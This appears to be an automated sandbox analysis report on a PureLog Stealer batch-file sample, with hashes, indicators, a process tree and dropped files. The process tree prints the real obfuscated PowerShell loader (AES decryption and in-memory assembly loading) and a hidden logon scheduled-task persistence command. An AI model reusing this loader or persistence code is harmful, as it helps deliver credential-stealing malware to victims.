purelogstealer | 10ccf544869548cda3708929728b84fbb9f53261811b3f995b65c339f4018629

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
03/04/2024, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
INQUIRY 2024-SP0006-B(01) INQ24-012207.bat
Size 1.5MB
Sample240403-phb66sdd57
SHA256 14b6e76764ace5c1e615a5cc88ade91cfd7bfc910fbaa918bbff2f73e247fce6
MD5 7d88079445bb979197cc2e6728fddbec
SHA1 55340a438ff35274ae63a176223891610a9d00c1
SHA512 649b342d4f5b4fb921f56a0a3e5154e65fb835bcdf8433c0020db697c7dbb934a41679961db55ef6a7e6bc14918dd5e1fb9bf4b41dd9c4ceec6fbbdf2ece4d75
SSDEEP 24576:/W667BpzNEHaNBsivjPQlDIgdscMZjKWFDLyB69EoCxvJn18zMsGTPvnH1LLwX4d:OlHp1HKKpxK3scaU
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

purelogstealer stealer

Malware Config

Signatures

PureLog Stealer
PureLog Stealer is an infostealer written in C#.
stealer purelogstealer

PureLog Stealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/3192-2446-0x00000298390C0000-0x00000298390EA000-memory.dmp	family_purelog_stealer

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	3192	powershell.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1768	powershell.exe
1768	powershell.exe
1372	powershell.exe
1372	powershell.exe
932	powershell.exe
932	powershell.exe
5100	powershell.exe
5100	powershell.exe
3192	powershell.exe
3192	powershell.exe
4320	powershell.exe
4320	powershell.exe
4320	powershell.exe
1376	powershell.exe
1376	powershell.exe
1376	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	932	powershell.exe
Token: SeIncreaseQuotaPrivilege	932	powershell.exe
Token: SeSecurityPrivilege	932	powershell.exe
Token: SeTakeOwnershipPrivilege	932	powershell.exe
Token: SeLoadDriverPrivilege	932	powershell.exe
Token: SeSystemProfilePrivilege	932	powershell.exe
Token: SeSystemtimePrivilege	932	powershell.exe
Token: SeProfSingleProcessPrivilege	932	powershell.exe
Token: SeIncBasePriorityPrivilege	932	powershell.exe
Token: SeCreatePagefilePrivilege	932	powershell.exe
Token: SeBackupPrivilege	932	powershell.exe
Token: SeRestorePrivilege	932	powershell.exe
Token: SeShutdownPrivilege	932	powershell.exe
Token: SeDebugPrivilege	932	powershell.exe
Token: SeSystemEnvironmentPrivilege	932	powershell.exe
Token: SeRemoteShutdownPrivilege	932	powershell.exe
Token: SeUndockPrivilege	932	powershell.exe
Token: SeManageVolumePrivilege	932	powershell.exe
Token: 33	932	powershell.exe
Token: 34	932	powershell.exe
Token: 35	932	powershell.exe
Token: 36	932	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeIncreaseQuotaPrivilege	5100	powershell.exe
Token: SeSecurityPrivilege	5100	powershell.exe
Token: SeTakeOwnershipPrivilege	5100	powershell.exe
Token: SeLoadDriverPrivilege	5100	powershell.exe
Token: SeSystemProfilePrivilege	5100	powershell.exe
Token: SeSystemtimePrivilege	5100	powershell.exe
Token: SeProfSingleProcessPrivilege	5100	powershell.exe
Token: SeIncBasePriorityPrivilege	5100	powershell.exe
Token: SeCreatePagefilePrivilege	5100	powershell.exe
Token: SeBackupPrivilege	5100	powershell.exe
Token: SeRestorePrivilege	5100	powershell.exe
Token: SeShutdownPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeSystemEnvironmentPrivilege	5100	powershell.exe
Token: SeRemoteShutdownPrivilege	5100	powershell.exe
Token: SeUndockPrivilege	5100	powershell.exe
Token: SeManageVolumePrivilege	5100	powershell.exe
Token: 33	5100	powershell.exe
Token: 34	5100	powershell.exe
Token: 35	5100	powershell.exe
Token: 36	5100	powershell.exe
Token: SeIncreaseQuotaPrivilege	5100	powershell.exe
Token: SeSecurityPrivilege	5100	powershell.exe
Token: SeTakeOwnershipPrivilege	5100	powershell.exe
Token: SeLoadDriverPrivilege	5100	powershell.exe
Token: SeSystemProfilePrivilege	5100	powershell.exe
Token: SeSystemtimePrivilege	5100	powershell.exe
Token: SeProfSingleProcessPrivilege	5100	powershell.exe
Token: SeIncBasePriorityPrivilege	5100	powershell.exe
Token: SeCreatePagefilePrivilege	5100	powershell.exe
Token: SeBackupPrivilege	5100	powershell.exe
Token: SeRestorePrivilege	5100	powershell.exe
Token: SeShutdownPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeSystemEnvironmentPrivilege	5100	powershell.exe
Token: SeRemoteShutdownPrivilege	5100	powershell.exe
Token: SeUndockPrivilege	5100	powershell.exe
Token: SeManageVolumePrivilege	5100	powershell.exe
Token: 33	5100	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 2288	1764	cmd.exe	86
PID 1764 wrote to memory of 2288	1764	cmd.exe	86
PID 1764 wrote to memory of 1200	1764	cmd.exe	87
PID 1764 wrote to memory of 1200	1764	cmd.exe	87
PID 1200 wrote to memory of 2036	1200	cmd.exe	89
PID 1200 wrote to memory of 2036	1200	cmd.exe	89
PID 1200 wrote to memory of 3344	1200	cmd.exe	90
PID 1200 wrote to memory of 3344	1200	cmd.exe	90
PID 1200 wrote to memory of 1768	1200	cmd.exe	91
PID 1200 wrote to memory of 1768	1200	cmd.exe	91
PID 1768 wrote to memory of 1372	1768	powershell.exe	95
PID 1768 wrote to memory of 1372	1768	powershell.exe	95
PID 1768 wrote to memory of 932	1768	powershell.exe	100
PID 1768 wrote to memory of 932	1768	powershell.exe	100
PID 1768 wrote to memory of 5100	1768	powershell.exe	102
PID 1768 wrote to memory of 5100	1768	powershell.exe	102
PID 1768 wrote to memory of 4476	1768	powershell.exe	104
PID 1768 wrote to memory of 4476	1768	powershell.exe	104
PID 4476 wrote to memory of 2612	4476	cmd.exe	106
PID 4476 wrote to memory of 2612	4476	cmd.exe	106
PID 2612 wrote to memory of 4444	2612	cmd.exe	108
PID 2612 wrote to memory of 4444	2612	cmd.exe	108
PID 2612 wrote to memory of 4900	2612	cmd.exe	109
PID 2612 wrote to memory of 4900	2612	cmd.exe	109
PID 2612 wrote to memory of 3192	2612	cmd.exe	110
PID 2612 wrote to memory of 3192	2612	cmd.exe	110
PID 3192 wrote to memory of 4320	3192	powershell.exe	112
PID 3192 wrote to memory of 4320	3192	powershell.exe	112
PID 3192 wrote to memory of 1376	3192	powershell.exe	113
PID 3192 wrote to memory of 1376	3192	powershell.exe	113
PID 3192 wrote to memory of 552	3192	powershell.exe	117
PID 3192 wrote to memory of 552	3192	powershell.exe	117

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INQUIRY 2024-SP0006-B(01) INQ24-012207.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Windows\system32\cmd.exe
  cmd /c \"set __=^&rem\
  2⤵
  PID:2288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\INQUIRY 2024-SP0006-B(01) INQ24-012207.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\cmd.exe
    cmd /c \"set __=^&rem\
    3⤵
    PID:2036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\INQUIRY 2024-SP0006-B(01) INQ24-012207.bat';$fElA='CreqIbHaqIbHtqIbHeqIbHDqIbHecrqIbHyptqIbHorqIbH'.Replace('qIbH', ''),'Loryaoaryaodryao'.Replace('ryao', ''),'EnxJSYtxJSYrxJSYyPxJSYoxJSYintxJSY'.Replace('xJSY', ''),'RCglSeadCglSLCglSinCglSesCglS'.Replace('CglS', ''),'ElkpuDekpuDmekpuDnkpuDtkpuDAtkpuD'.Replace('kpuD', ''),'MaitKRenMotKRedultKReetKRe'.Replace('tKRe', ''),'FrEHVHoEHVHmBaEHVHseEHVH6EHVH4SEHVHtriEHVHngEHVH'.Replace('EHVH', ''),'ChaNRYJnNRYJgeNRYJExtNRYJenNRYJsioNRYJnNRYJ'.Replace('NRYJ', ''),'CopLofSyTLofSoLofS'.Replace('LofS', ''),'InvLlecoLleckeLlec'.Replace('Llec', ''),'SpNSkZlitNSkZ'.Replace('NSkZ', ''),'DexTMTcomxTMTprxTMTexTMTsxTMTsxTMT'.Replace('xTMT', ''),'TraXCkmnsXCkmfXCkmoXCkmrmXCkmFXCkminaXCkmlBlXCkmoXCkmckXCkm'.Replace('XCkm', ''),'GetrUltCurUltrrrUltenrUlttrUltPrUltrrUltocrUltesrUltsrUlt'.Replace('rUlt', '');powershell -w hidden;function PiXdA($KcXpf){$yTtPD=[System.Security.Cryptography.Aes]::Create();$yTtPD.Mode=[System.Security.Cryptography.CipherMode]::CBC;$yTtPD.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$yTtPD.Key=[System.Convert]::($fElA[6])('rRWyCyQLtuqH/zi2mhFDObO+dhUUkEuGFZ7FgqLLt14=');$yTtPD.IV=[System.Convert]::($fElA[6])('dn2lq2CDURZOe442/46czQ==');$lVePM=$yTtPD.($fElA[0])();$JjJvL=$lVePM.($fElA[12])($KcXpf,0,$KcXpf.Length);$lVePM.Dispose();$yTtPD.Dispose();$JjJvL;}function CaenE($KcXpf){$kHHlR=New-Object System.IO.MemoryStream(,$KcXpf);$tqIBN=New-Object System.IO.MemoryStream;$NzerE=New-Object System.IO.Compression.GZipStream($kHHlR,[IO.Compression.CompressionMode]::($fElA[11]));$NzerE.($fElA[8])($tqIBN);$NzerE.Dispose();$kHHlR.Dispose();$tqIBN.Dispose();$tqIBN.ToArray();}$QEoyB=[System.IO.File]::($fElA[3])([Console]::Title);$Mnpxl=CaenE (PiXdA ([Convert]::($fElA[6])([System.Linq.Enumerable]::($fElA[4])($QEoyB, 5).Substring(2))));$RtlUk=CaenE (PiXdA ([Convert]::($fElA[6])([System.Linq.Enumerable]::($fElA[4])($QEoyB, 6).Substring(2))));[System.Reflection.Assembly]::($fElA[1])([byte[]]$RtlUk).($fElA[2]).($fElA[9])($null,$null);[System.Reflection.Assembly]::($fElA[1])([byte[]]$Mnpxl).($fElA[2]).($fElA[9])($null,$null); "
    3⤵
    PID:3344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\INQUIRY 2024-SP0006-B(01) INQ24-012207')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 58405' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5100
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\strt.cmd"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4476
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\strt.cmd"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2612
      - C:\Windows\system32\cmd.exe
        
        cmd /c \"set __=^&rem\
        6⤵
        
        PID:4444
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\strt.cmd';$fElA='CreqIbHaqIbHtqIbHeqIbHDqIbHecrqIbHyptqIbHorqIbH'.Replace('qIbH', ''),'Loryaoaryaodryao'.Replace('ryao', ''),'EnxJSYtxJSYrxJSYyPxJSYoxJSYintxJSY'.Replace('xJSY', ''),'RCglSeadCglSLCglSinCglSesCglS'.Replace('CglS', ''),'ElkpuDekpuDmekpuDnkpuDtkpuDAtkpuD'.Replace('kpuD', ''),'MaitKRenMotKRedultKReetKRe'.Replace('tKRe', ''),'FrEHVHoEHVHmBaEHVHseEHVH6EHVH4SEHVHtriEHVHngEHVH'.Replace('EHVH', ''),'ChaNRYJnNRYJgeNRYJExtNRYJenNRYJsioNRYJnNRYJ'.Replace('NRYJ', ''),'CopLofSyTLofSoLofS'.Replace('LofS', ''),'InvLlecoLleckeLlec'.Replace('Llec', ''),'SpNSkZlitNSkZ'.Replace('NSkZ', ''),'DexTMTcomxTMTprxTMTexTMTsxTMTsxTMT'.Replace('xTMT', ''),'TraXCkmnsXCkmfXCkmoXCkmrmXCkmFXCkminaXCkmlBlXCkmoXCkmckXCkm'.Replace('XCkm', ''),'GetrUltCurUltrrrUltenrUlttrUltPrUltrrUltocrUltesrUltsrUlt'.Replace('rUlt', '');powershell -w hidden;function PiXdA($KcXpf){$yTtPD=[System.Security.Cryptography.Aes]::Create();$yTtPD.Mode=[System.Security.Cryptography.CipherMode]::CBC;$yTtPD.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$yTtPD.Key=[System.Convert]::($fElA[6])('rRWyCyQLtuqH/zi2mhFDObO+dhUUkEuGFZ7FgqLLt14=');$yTtPD.IV=[System.Convert]::($fElA[6])('dn2lq2CDURZOe442/46czQ==');$lVePM=$yTtPD.($fElA[0])();$JjJvL=$lVePM.($fElA[12])($KcXpf,0,$KcXpf.Length);$lVePM.Dispose();$yTtPD.Dispose();$JjJvL;}function CaenE($KcXpf){$kHHlR=New-Object System.IO.MemoryStream(,$KcXpf);$tqIBN=New-Object System.IO.MemoryStream;$NzerE=New-Object System.IO.Compression.GZipStream($kHHlR,[IO.Compression.CompressionMode]::($fElA[11]));$NzerE.($fElA[8])($tqIBN);$NzerE.Dispose();$kHHlR.Dispose();$tqIBN.Dispose();$tqIBN.ToArray();}$QEoyB=[System.IO.File]::($fElA[3])([Console]::Title);$Mnpxl=CaenE (PiXdA ([Convert]::($fElA[6])([System.Linq.Enumerable]::($fElA[4])($QEoyB, 5).Substring(2))));$RtlUk=CaenE (PiXdA ([Convert]::($fElA[6])([System.Linq.Enumerable]::($fElA[4])($QEoyB, 6).Substring(2))));[System.Reflection.Assembly]::($fElA[1])([byte[]]$RtlUk).($fElA[2]).($fElA[9])($null,$null);[System.Reflection.Assembly]::($fElA[1])([byte[]]$Mnpxl).($fElA[2]).($fElA[9])($null,$null); "
        6⤵
        
        PID:4900
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\strt')
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 58405' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:552

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
MD5 3f01549ee3e4c18244797530b588dad9
SHA1 3e87863fc06995fe4b741357c68931221d6cc0b9
SHA512 73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457
MD5 e4de99c1795fd54aa87da05fa39c199c
SHA1 dfaaac2de1490fae01104f0a6853a9d8fe39a9d7
SHA512 796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b61a60bf71fdae451a7be222d041d153262224d241c0803e0f7bb289013ac134
MD5 11b2ddac5f77354fdf267769650c46f4
SHA1 4b4fb743eefb36191871d8bd3dc374caed41a9db
SHA512 72372c52617151d65d97363770b128c8a0180e4713ec98f992c2f802c4781fcd6ab4dc6153b256254870aae63e30d453fb61489c1f2f9f912d5efd1bb97bc2ae
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2c3dc036ac8d51e14510a0a6bba650d29e55c394b3b564a5f762c2fc1ebc3693
MD5 f3b2f7c8e9b3057a4342efce5cb1f648
SHA1 cbcab1b48cd397259c504d2c915c5c30ea877b06
SHA512 f627a062084919835cdfadcaa06849d6a636e4b2f6a24317c29e78183c02b4e2ffa9cf0911f627efc2143514695a1b3e70141866f61c722039721182cd5fb142
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d1c12386117729cd39d54dd31ecb335a6381b23a8149fc11fc0f9c19c9ba24b9
MD5 d7c8d934e4fe6e6568cc6a51465b2c16
SHA1 08d4f5fe1f7cfe38cac9df3f241081802c0821c9
SHA512 c135ea09bb0a3f2b2d2b5f4eacaabf28a036a4c15605bf49d2a11a9430a2d58549f3ef098c55b0a61ad4eacd214db69d88630e7b39afef27cf3f851b50bb7df4
MD5 SHA1 SHA512

Submit Download

Twggespjowo.tmpdb

Path C:\Users\Admin\AppData\Local\Temp\Twggespjowo.tmpdb
Size 148KB
SHA256 7cf3e9e8619904e72ea6608cc43e9b6c9f8aa2af02476f60c2b3daf33075981c
MD5 90a1d4b55edf36fa8b4cc6974ed7d4c4
SHA1 aba1b8d0e05421e7df5982899f626211c3c4b5c1
SHA512 ea0838be754e1258c230111900c5937d2b0788f90bbf7c5f82b2ceda7868e50afb86c301f313267eaa912778da45755560b5434885521bf915967a7863922ae2
SSDEEP 96:gRleseU+bF+UIYysX0xnqyZoTtczVHNrLBL7wC68:gKQ+bF+UI3ikqyZWOzVHRx7wl
MD5 SHA1 SHA512 SSDEEP

Submit Download

Ybbagiuxrf.tmpdb

Path C:\Users\Admin\AppData\Local\Temp\Ybbagiuxrf.tmpdb
Size 124KB
SHA256 a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab
MD5 9618e15b04a4ddb39ed6c496575f6f95
SHA1 1c28f8750e5555776b3c80b187c5d15a443a7412
SHA512 f802582aa7510f6b950e3343b0560ffa9037c6d22373a6a33513637ab0f8e60ed23294a13ad8890935b02c64830b5232ba9f60d0c0fe90df02b5da30ecd7fa26
SSDEEP 96:hBWU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:hBl+bDo3irhnyTpvVj3XBBE3u
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_d2t2np1f.m3q.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2t2np1f.m3q.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

strt.cmd

Path C:\Users\Admin\AppData\Roaming\strt.cmd
Size 1.5MB
SHA256 14b6e76764ace5c1e615a5cc88ade91cfd7bfc910fbaa918bbff2f73e247fce6
MD5 7d88079445bb979197cc2e6728fddbec
SHA1 55340a438ff35274ae63a176223891610a9d00c1
SHA512 649b342d4f5b4fb921f56a0a3e5154e65fb835bcdf8433c0020db697c7dbb934a41679961db55ef6a7e6bc14918dd5e1fb9bf4b41dd9c4ceec6fbbdf2ece4d75
SSDEEP 24576:/W667BpzNEHaNBsivjPQlDIgdscMZjKWFDLyB69EoCxvJn18zMsGTPvnH1LLwX4d:OlHp1HKKpxK3scaU
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/552-118-0x000001B2FD1C0000-0x000001B2FD1D0000-memory.dmp

Download

memory/552-131-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/552-129-0x000001B2FD1C0000-0x000001B2FD1D0000-memory.dmp

Download

memory/552-117-0x000001B2FD1C0000-0x000001B2FD1D0000-memory.dmp

Download

memory/552-116-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/932-49-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/932-47-0x000001FE6A030000-0x000001FE6A040000-memory.dmp

Download

memory/932-44-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/932-45-0x000001FE6A030000-0x000001FE6A040000-memory.dmp

Download

memory/932-46-0x000001FE6A030000-0x000001FE6A040000-memory.dmp

Download

memory/1372-29-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/1372-24-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/1372-26-0x0000018670E60000-0x0000018670E70000-memory.dmp

Download

memory/1372-25-0x0000018670E60000-0x0000018670E70000-memory.dmp

Download

memory/1376-101-0x000002B1F0F70000-0x000002B1F0F80000-memory.dmp

Download

memory/1376-102-0x000002B1F0F70000-0x000002B1F0F80000-memory.dmp

Download

memory/1376-100-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/1376-113-0x000002B1F0F70000-0x000002B1F0F80000-memory.dmp

Download

memory/1376-115-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/1768-31-0x000001D77B3B0000-0x000001D77B3B1000-memory.dmp

Download

memory/1768-14-0x000001D77B4D0000-0x000001D77B546000-memory.dmp

Download

memory/1768-13-0x000001D77B400000-0x000001D77B444000-memory.dmp

Download

memory/1768-12-0x000001D760750000-0x000001D760760000-memory.dmp

Download

memory/1768-83-0x000001D760750000-0x000001D760760000-memory.dmp

Download

memory/1768-7-0x000001D760750000-0x000001D760760000-memory.dmp

Download

memory/1768-1-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/1768-96-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/1768-63-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/1768-0-0x000001D77AFE0000-0x000001D77B002000-memory.dmp

Download

memory/1768-30-0x000001D77B450000-0x000001D77B4C0000-memory.dmp

Download

memory/1768-33-0x000001D77B550000-0x000001D77B628000-memory.dmp

Download

memory/1768-32-0x000001D760750000-0x000001D760760000-memory.dmp

Download

memory/3192-167-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-165-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-2498-0x000002981F920000-0x000002981F930000-memory.dmp

Download

memory/3192-2447-0x0000029839250000-0x00000298392CA000-memory.dmp

Download

memory/3192-2446-0x00000298390C0000-0x00000298390EA000-memory.dmp

Download

memory/3192-81-0x000002981F920000-0x000002981F930000-memory.dmp

Download

memory/3192-80-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/3192-2445-0x000002981F920000-0x000002981F930000-memory.dmp

Download

memory/3192-2444-0x0000029839070000-0x00000298390BC000-memory.dmp

Download

memory/3192-132-0x0000029838DE0000-0x0000029838EB8000-memory.dmp

Download

memory/3192-133-0x0000029838EC0000-0x0000029838FD6000-memory.dmp

Download

memory/3192-134-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-135-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-137-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-139-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-141-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-143-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-145-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-147-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-149-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-151-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-153-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-155-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-157-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-161-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-159-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-163-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-99-0x000002981F920000-0x000002981F930000-memory.dmp

Download

memory/3192-2443-0x0000029838FD0000-0x000002983906E000-memory.dmp

Download

memory/3192-171-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-169-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-173-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-175-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-177-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-179-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-181-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-183-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-185-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-187-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-189-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-191-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-193-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-195-0x0000029838EC0000-0x0000029838FD0000-memory.dmp

Download

memory/3192-2105-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/3192-2442-0x000002981F920000-0x000002981F930000-memory.dmp

Download

memory/4320-84-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/4320-85-0x00000212B01B0000-0x00000212B01C0000-memory.dmp

Download

memory/4320-97-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/5100-61-0x0000019C52BD0000-0x0000019C52BE0000-memory.dmp

Download

memory/5100-64-0x0000019C52BD0000-0x0000019C52BE0000-memory.dmp

Download

memory/5100-66-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download

memory/5100-60-0x0000019C52BD0000-0x0000019C52BE0000-memory.dmp

Download

memory/5100-50-0x00007FF8665B0000-0x00007FF867071000-memory.dmp

Download